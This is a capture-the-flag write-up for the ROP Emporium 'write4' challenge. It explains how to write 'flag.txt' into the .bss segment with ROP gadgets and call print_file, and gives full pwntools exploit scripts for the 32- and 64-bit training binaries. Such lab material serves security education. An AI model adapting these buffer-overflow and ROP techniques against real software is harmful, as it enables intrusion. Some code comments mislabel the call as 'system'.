> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/rop-emporium/write4.md).

# write4

## write4 32bit

### Solution

The string `"/bin/cat flag.txt"` is not present in the binary, so the method used in "split" won't work here.

We are given a function `print_file` and our task is to call `print_file("flag.txt")`. There is no `"flag.txt"` string in the binary either, so we have to input this string and store it somewhere, for example, the `.bss` segment.

As the instruction suggests, we should look for a gadget `mov [reg], reg`:

![ROPgadget](/files/-M_mThXwJo7A8yi5stbn)

The idea is:

1. Store the string `"flag"` in `ebp`.
2. Store the address of `bss` in `edi`.
3. Use the gadget `mov dword ptr [edi], ebp ; ret` to pass the string `flag` to the `.bss` segment.
4. Repeat step 1 to 3 to pass the string `".txt"` to `bss + 4`.
5. Call `print_file(bss)`

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("write432", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"offset: {offset}")

#--------ROP--------#

# ROPgadget --binary write432 --only "mov|ret"
# mov dword ptr [edi], ebp ; ret
mov_gadget = 0x08048543
# ROPgadget --binary write432 --only "pop|ret" | grep edi
pop_edi_ebp = 0x080485aa
print_file = elf.plt["print_file"]
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # Step 1: pass "flag.txt"
    pop_edi_ebp, bss, "flag", # pass "flag"
    mov_gadget,
    pop_edi_ebp, bss + 4, ".txt", # pass ".txt"
    mov_gadget,

    # Step 2: call print_file("flag.txt")
    print_file,
    b"B" * 4, # ret addr for system
    bss, # arg for system
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```

## write4 64bit

### Solution

Again, the 64-bit case is even simpler. The idea is the same, except we can pass the string `"flag.txt"` in one round because we are dealing with 64-bit registers.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("write4", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ROP--------#

# ROPgadget --binary write4 --only "mov|ret"
# mov qword ptr [r14], r15 ; ret
mov_gadget = 0x0000000000400628
# ROPgadget --binary write4 --only "pop|ret" | grep r14
pop_r14_r15 = 0x0000000000400690
print_file = elf.plt["print_file"]
# ROPgadget --binary write4 --only "pop|ret" | grep rdi
pop_rdi = 0x0000000000400693
ret = 0x4004e6
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # Step 1: pass "flag.txt"
    pop_r14_r15, bss, "flag.txt", # pass "flag.txt"
    mov_gadget,

    # Step 2: call print_file("flag.txt")
    pop_rdi, bss,
    ret, print_file,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```
